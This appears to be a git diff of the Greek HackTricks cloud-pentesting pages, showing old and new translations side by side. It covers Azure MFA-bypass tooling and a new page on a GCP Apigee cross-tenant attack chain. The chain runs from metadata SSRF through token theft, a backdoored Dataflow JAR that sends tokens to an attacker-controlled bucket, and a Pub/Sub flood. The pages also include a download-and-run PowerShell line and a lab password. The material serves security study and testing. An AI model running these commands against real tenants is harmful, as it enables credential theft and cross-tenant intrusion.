Το εργαλείο [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) έχει **δεκάδες application IDs hardcoded** και θα προσπαθήσει να κάνει login σε αυτά, θα σε ενημερώσει και ακόμη θα σου δώσει το token αν είναι επιτυχές.
|
||||
|
||||
Για να **δοκιμάσετε συγκεκριμένα αναγνωριστικά εφαρμογών σε συγκεκριμένους πόρους**, μπορείτε επίσης να χρησιμοποιήσετε ένα εργαλείο όπως:
|
||||
Για να **δοκιμάσεις συγκεκριμένα application IDs σε συγκεκριμένους resources** μπορείς επίσης να χρησιμοποιήσεις ένα εργαλείο όπως:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
||||
Επιπλέον, είναι επίσης δυνατό να προστατευθεί η μέθοδος σύνδεσης (π.χ. αν προσπαθείτε να συνδεθείτε από τον περιηγητή ή από μια επιτραπέζια εφαρμογή). Το εργαλείο [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) εκτελεί κάποιους ελέγχους για να προσπαθήσει να παρακάμψει αυτές τις προστασίες επίσης.
|
||||
Επιπλέον, είναι επίσης δυνατό να προστατευτεί η μέθοδος σύνδεσης (π.χ. αν προσπαθείτε να συνδεθείτε από τον browser ή από μια desktop εφαρμογή). Το εργαλείο [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) πραγματοποιεί μερικούς ελέγχους για να προσπαθήσει να παρακάμψει αυτές τις προστασίες επίσης.
|
||||
|
||||
Το εργαλείο [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) θα μπορούσε επίσης να χρησιμοποιηθεί για παρόμοιους σκοπούς αν και φαίνεται ότι δεν συντηρείται.
|
||||
Το εργαλείο [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) μπορεί επίσης να χρησιμοποιηθεί για παρόμοιους σκοπούς αν και φαίνεται χωρίς συντήρηση.
|
||||
|
||||
Το εργαλείο [**ROPCI**](https://github.com/wunderwuzzi23/ropci) μπορεί επίσης να χρησιμοποιηθεί για να δοκιμάσει αυτές τις προστασίες και να δει αν είναι δυνατό να παρακαμφθούν οι MFA ή οι αποκλεισμοί, αλλά αυτό το εργαλείο λειτουργεί από μια προοπτική **whitebox**. Πρέπει πρώτα να κατεβάσετε τη λίστα με τις εφαρμογές που επιτρέπονται στον ενοικιαστή και στη συνέχεια θα προσπαθήσει να συνδεθεί σε αυτές.
|
||||
Το εργαλείο [**ROPCI**](https://github.com/wunderwuzzi23/ropci) μπορεί επίσης να χρησιμοποιηθεί για να δοκιμάσει αυτές τις προστασίες και να δει αν είναι δυνατό να παρακαμφθούν MFA ή μπλοκαρίσματα, αλλά αυτό το εργαλείο λειτουργεί από μια **whitebox** προοπτική. Πρώτα πρέπει να κατεβάσετε τη λίστα των Apps που επιτρέπονται στο tenant και μετά θα προσπαθήσει να συνδεθεί σε αυτά.
|
||||
|
||||
## Άλλες παρακάμψεις Az MFA
|
||||
## Άλλες Az MFA Παρακάμψεις
|
||||
|
||||
### Ρυθμός ήχου
|
||||
### Ήχος κλήσης
|
||||
|
||||
Μια επιλογή Azure MFA είναι να **λάβετε μια κλήση στον ρυθμισμένο αριθμό τηλεφώνου** όπου θα ζητηθεί από τον χρήστη να **στείλει τον χαρακτήρα `#`**.
|
||||
Μία επιλογή του Azure MFA είναι να **λάβει ο χρήστης μια κλήση στον ρυθμισμένο αριθμό τηλεφώνου** όπου θα ζητηθεί από τον χρήστη να **στείλει τον χαρακτήρα `#`**.
|
||||
|
||||
> [!CAUTION]
|
||||
> Δεδομένου ότι οι χαρακτήρες είναι απλώς **ήχοι**, ένας επιτιθέμενος θα μπορούσε να **παραβιάσει** το **μήνυμα φωνητικού ταχυδρομείου** του αριθμού τηλεφώνου, να ρυθμίσει ως μήνυμα τον **ήχο του `#`** και στη συνέχεια, όταν ζητηθεί η MFA, να βεβαιωθεί ότι το **τηλέφωνο του θύματος είναι απασχολημένο** (καλώντας το) ώστε η κλήση του Azure να ανακατευθυνθεί στο φωνητικό ταχυδρομείο.
|
||||
> Επειδή οι χαρακτήρες είναι απλώς **τόνοι**, ένας επιτιθέμενος θα μπορούσε να **συμβιβάσει** το φωνητικό μήνυμα του αριθμού τηλεφώνου, να ρυθμίσει ως μήνυμα τον **τόνο `#`** και τότε, όταν ζητηθεί το MFA, να βεβαιωθεί ότι το **τηλέφωνο του θύματος είναι απασχολημένο** (καλώντας το) ώστε η κλήση του Azure να ανακατευθυνθεί στο voicemail.
|
||||
|
||||
### Συμβατές Συσκευές
|
||||
|
||||
Οι πολιτικές συχνά ζητούν μια συμβατή συσκευή ή MFA, οπότε ένας **επιτιθέμενος θα μπορούσε να καταχωρίσει μια συμβατή συσκευή**, να αποκτήσει ένα **PRT** token και **να παρακάμψει με αυτόν τον τρόπο την MFA**.
|
||||
Οι πολιτικές συχνά απαιτούν μια συμβατή συσκευή ή MFA, οπότε ένας **επιτιθέμενος θα μπορούσε να καταχωρήσει μια συμβατή συσκευή**, να πάρει ένα **PRT** token και έτσι να **παρακάμψει το MFA**.
|
||||
|
||||
Ξεκινήστε καταχωρίζοντας μια **συμβατή συσκευή στο Intune**, στη συνέχεια **αποκτήστε το PRT** με:
|
||||
Ξεκινήστε καταχωρώντας μια **συμβατή συσκευή στο Intune**, στη συνέχεια **λάβετε το PRT** με:
|
||||
```bash
|
||||
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
|
||||
|
||||
@@ -102,7 +102,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
<token returned>
|
||||
```
|
||||
Βρείτε περισσότερες πληροφορίες σχετικά με αυτόν τον τύπο επίθεσης στην παρακάτω σελίδα:
|
||||
Βρείτε περισσότερες πληροφορίες για αυτό το είδος επίθεσης στην παρακάτω σελίδα:
|
||||
|
||||
{{#ref}}
|
||||
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
|
||||
@@ -112,29 +112,29 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
|
||||
|
||||
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
|
||||
|
||||
Αυτό το σενάριο αποκτά διαπιστευτήρια χρηστών και ελέγχει αν μπορεί να συνδεθεί σε ορισμένες εφαρμογές.
|
||||
Αυτό το script λαμβάνει διαπιστευτήρια χρηστών και ελέγχει αν μπορεί να συνδεθεί σε κάποιες εφαρμογές.
|
||||
|
||||
Αυτό είναι χρήσιμο για να δείτε αν **δεν απαιτείται MFA για να συνδεθείτε σε ορισμένες εφαρμογές** που μπορεί να εκμεταλλευτείτε αργότερα για να **ανεβάσετε προνόμια**.
|
||||
Αυτό είναι χρήσιμο για να δείτε αν **δεν απαιτείται MFA για σύνδεση σε κάποιες εφαρμογές** που μπορεί αργότερα να καταχραστείτε για να **αποκτήσετε αυξημένα προνόμια**.
|
||||
|
||||
### [roadrecon](https://github.com/dirkjanm/ROADtools)
|
||||
|
||||
Αποκτά όλες τις πολιτικές
|
||||
Λήψη όλων των πολιτικών
|
||||
```bash
|
||||
roadrecon plugin policies
|
||||
```
|
||||
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
|
||||
|
||||
Το MFASweep είναι ένα σενάριο PowerShell που προσπαθεί να **συνδεθεί σε διάφορες υπηρεσίες της Microsoft χρησιμοποιώντας ένα παρεχόμενο σύνολο διαπιστευτηρίων και θα προσπαθήσει να προσδιορίσει αν είναι ενεργοποιημένο το MFA**. Ανάλογα με το πώς είναι διαμορφωμένες οι πολιτικές πρόσβασης και άλλες ρυθμίσεις πολλαπλής αυθεντικοποίησης, ορισμένα πρωτόκολλα μπορεί να καταλήξουν να παραμείνουν σε μία μόνο αυθεντικοποίηση. Έχει επίσης μια επιπλέον έλεγχο για τις ρυθμίσεις ADFS και μπορεί να προσπαθήσει να συνδεθεί στον τοπικό διακομιστή ADFS αν ανιχνευθεί.
|
||||
MFASweep είναι ένα PowerShell script που προσπαθεί να **log in to various Microsoft services using a provided set of credentials and will attempt to identify if MFA is enabled**. Ανάλογα με το πώς έχουν ρυθμιστεί οι conditional access policies και άλλες ρυθμίσεις multi-factor authentication, κάποια πρωτόκολλα μπορεί να παραμείνουν single factor. Έχει επίσης έναν επιπλέον έλεγχο για ADFS configurations και μπορεί να προσπαθήσει να συνδεθεί στον on-prem ADFS server αν εντοπιστεί.
|
||||
```bash
|
||||
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
|
||||
Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
|
||||
|
||||
Αυτό το εργαλείο έχει βοηθήσει στην αναγνώριση παρακάμψεων MFA και στη συνέχεια στην κακή χρήση APIs σε πολλούς παραγωγικούς AAD ενοικιαστές, όπου οι πελάτες AAD πίστευαν ότι είχαν επιβληθεί MFA, αλλά η αυθεντικοποίηση με βάση το ROPC ήταν επιτυχής.
|
||||
Αυτό το εργαλείο έχει βοηθήσει στον εντοπισμό παρακάμψεων MFA και στη συνέχεια στην κατάχρηση APIs σε πολλούς παραγωγικούς AAD tenants, όπου οι πελάτες AAD πίστευαν ότι είχαν επιβληθεί MFA, αλλά η αυθεντικοποίηση βασισμένη σε ROPC ήταν επιτυχής.
|
||||
|
||||
> [!TIP]
|
||||
> Πρέπει να έχετε δικαιώματα για να καταγράψετε όλες τις εφαρμογές ώστε να μπορέσετε να δημιουργήσετε τη λίστα με τις εφαρμογές για brute-force.
|
||||
> Πρέπει να έχετε δικαιώματα για να απαριθμήσετε όλες τις εφαρμογές ώστε να μπορείτε να δημιουργήσετε τη λίστα των εφαρμογών για brute-force.
|
||||
```bash
|
||||
./ropci configure
|
||||
./ropci apps list --all --format json -o apps.json
|
||||
@@ -143,25 +143,25 @@ Invoke-MFASweep -Username <username> -Password <pass>
|
||||
```
|
||||
### [donkeytoken](https://github.com/silverhack/donkeytoken)
|
||||
|
||||
Το Donkey token είναι ένα σύνολο λειτουργιών που στοχεύουν να βοηθήσουν τους συμβούλους ασφαλείας που χρειάζονται να επικυρώσουν τις Πολιτικές Πρόσβασης με Όρους, δοκιμές για πύλες Microsoft με ενεργοποιημένο 2FA κ.λπ..
|
||||
Donkey token είναι ένα σύνολο συναρτήσεων που στοχεύει να βοηθήσει συμβούλους ασφάλειας που χρειάζεται να επαληθεύσουν Conditional Access Policies, να εκτελέσουν δοκιμές σε 2FA-enabled Microsoft portals, κ.λπ.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"><strong>git clone https://github.com/silverhack/donkeytoken.git
|
||||
</strong><strong>Import-Module '.\donkeytoken' -Force
|
||||
</strong></code></pre>
|
||||
|
||||
**Δοκιμάστε κάθε πύλη** αν είναι δυνατόν να **συνδεθείτε χωρίς MFA**:
|
||||
**Δοκιμάστε κάθε portal** αν είναι δυνατό να **login χωρίς MFA**:
|
||||
```bash
|
||||
$username = "conditional-access-app-user@azure.training.hacktricks.xyz"
|
||||
$username = "conditional-access-app-user@azure.hacktricks-training.com"
|
||||
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
|
||||
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
|
||||
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue
|
||||
```
|
||||
Επειδή το **Azure** **portal** **δεν είναι περιορισμένο**, είναι δυνατόν να **συλλεχθεί ένα token από το endpoint του portal για να αποκτηθεί πρόσβαση σε οποιαδήποτε υπηρεσία ανιχνεύθηκε** από την προηγούμενη εκτέλεση. Σε αυτή την περίπτωση, το Sharepoint αναγνωρίστηκε και ζητείται ένα token για την πρόσβαση σε αυτό:
|
||||
Επειδή το **Azure** **portal** **δεν είναι περιορισμένο**, είναι δυνατό να **συλλεχθεί token από το portal endpoint για πρόσβαση σε οποιαδήποτε service που ανιχνεύθηκε** από την προηγούμενη εκτέλεση. Σε αυτή την περίπτωση εντοπίστηκε το Sharepoint και ζητήθηκε token για πρόσβαση σε αυτό:
|
||||
```bash
|
||||
$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
|
||||
Read-JWTtoken -token $token.access_token
|
||||
```
|
||||
Υποθέτοντας ότι το token έχει την άδεια Sites.Read.All (από το Sharepoint), ακόμη και αν δεν μπορείτε να αποκτήσετε πρόσβαση στο Sharepoint από το διαδίκτυο λόγω MFA, είναι δυνατόν να χρησιμοποιήσετε το token για να αποκτήσετε πρόσβαση στα αρχεία με το παραγόμενο token:
|
||||
Υποθέτοντας ότι το token έχει την άδεια Sites.Read.All (από το Sharepoint), ακόμη κι αν δεν μπορείτε να αποκτήσετε πρόσβαση στο Sharepoint μέσω web λόγω MFA, είναι δυνατό να χρησιμοποιήσετε το token για να αποκτήσετε πρόσβαση στα αρχεία με το δημιουργημένο token:
|
||||
```bash
|
||||
$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl
|
||||
```
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
# GCP - Apigee Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Apigee metadata SSRF -> Dataflow cross-tenant pivot
|
||||
|
||||
Ένα μεμονωμένο Apigee tenant project μπορεί να καταχραστεί για να προσεγγίσει τον Message Processor metadata server, να κλέψει τον service account του και να μεταπηδήσει σε έναν κοινόχρηστο Dataflow analytics pipeline που διαβάζει/γράφει σε cross-tenant buckets.
|
||||
|
||||
### Expose the metadata server through Apigee
|
||||
|
||||
- Ορίστε ένα Apigee proxy target σε `http://169.254.169.254` και ζητήστε tokens από `/computeMetadata/v1/instance/service-accounts/default/token` με `Metadata-Flavor: Google`.
|
||||
- Το metadata του GCP απορρίπτει αιτήματα που περιέχουν `X-Forwarded-For`; το Apigee το προσθέτει εξ ορισμού. Αφαιρέστε το με `AssignMessage` πριν την προώθηση μέσω proxy:
|
||||
```xml
|
||||
<AssignMessage name="strip-xff">
|
||||
<Remove>
|
||||
<Headers>
|
||||
<Header name="X-Forwarded-For"/>
|
||||
</Headers>
|
||||
</Remove>
|
||||
<IgnoreUnresolvedVariables>true</IgnoreUnresolvedVariables>
|
||||
</AssignMessage>
|
||||
```
|
||||
### Απαρίθμηση του κλεμμένου Apigee service account
|
||||
|
||||
- Το leaked SA (Google-managed under `gcp-sa-apigee`) μπορεί να απαριθμηθεί με εργαλεία όπως [gcpwn](https://github.com/NetSPI/gcpwn) για γρήγορο έλεγχο δικαιωμάτων.
|
||||
- Εντοπίστηκαν ισχυρά δικαιώματα που περιελάμβαναν **Compute disk/snapshot admin**, **GCS read/write across tenant buckets**, και **Pub/Sub topic publish**. Βασική ανακάλυψη:
|
||||
```bash
|
||||
gcloud compute disks list --project <tenant-project>
|
||||
```
|
||||
### Snapshot exfiltration for opaque managed services
|
||||
|
||||
Με δικαιώματα disk/snapshot μπορείτε να επιθεωρήσετε managed runtimes offline ακόμη κι αν δεν μπορείτε να συνδεθείτε στο tenant project:
|
||||
|
||||
1. Δημιουργήστε ένα snapshot ενός target disk στο tenant project.
|
||||
2. Αντιγράψτε/μεταφέρετε το snapshot στο project σας.
|
||||
3. Αναδημιουργήστε έναν disk από το snapshot και προσαρτήστε τον στη VM σας.
|
||||
4. Κάντε mount και επιθεωρήστε logs/configs για να ανακτήσετε internal bucket names, service accounts, και pipeline options.
|
||||
|
||||
### Dataflow dependency replacement via writable staging bucket
|
||||
|
||||
- Οι analytics workers τραβούσαν JARs από ένα GCS staging bucket κατά το startup. Επειδή το Apigee SA είχε bucket write, κατεβάστε και τροποποιήστε το JAR (π.χ. με Recaf) ώστε να καλέσει `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` και να κλέψει το **Dataflow worker** token.
|
||||
- Οι Dataflow workers δεν είχαν internet egress· exfiltrate γράφοντας το token σε έναν attacker-controlled GCS bucket χρησιμοποιώντας τα in-cluster GCP APIs.
|
||||
|
||||
### Force malicious JAR execution by abusing autoscaling
|
||||
|
||||
Υπάρχοντες workers δεν θα ξαναφορτώσουν τα αντικαταστημένα artifacts. Πλημμυρίστε την pipeline input για να ενεργοποιήσετε νέους workers:
|
||||
```bash
|
||||
for i in {1..5000}; do
|
||||
gcloud pubsub topics publish apigee-analytics-notifications \
|
||||
--message "flood-$i" --project <tenant-project>
|
||||
done
|
||||
```
|
||||
Πρόσφατα provisioned instances ανακτούν τα patched JARs και leak το Dataflow SA token.
|
||||
|
||||
### Cross-tenant bucket design flaw
|
||||
|
||||
Ο decompiled κώδικας του Dataflow εμφάνισε μονοπάτια cache όπως `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` κάτω από έναν κοινό metadata bucket, χωρίς κανένα tenant-specific component. Με το Dataflow token μπορείς να read/write:
|
||||
|
||||
- `tenantToTenantGroup` caches που αποκαλύπτουν τα project+environment ονόματα άλλων tenants.
|
||||
- Φάκελοι `customFields` και `datastores` που κρατάνε per-request analytics (συμπεριλαμβανομένων των end-user IPs και plaintext access tokens) για όλους τους tenants.
|
||||
- Η write πρόσβαση υποδηλώνει πιθανή αλλοίωση/poisoning των analytics.
|
||||
|
||||
## References
|
||||
|
||||
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
|
||||
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user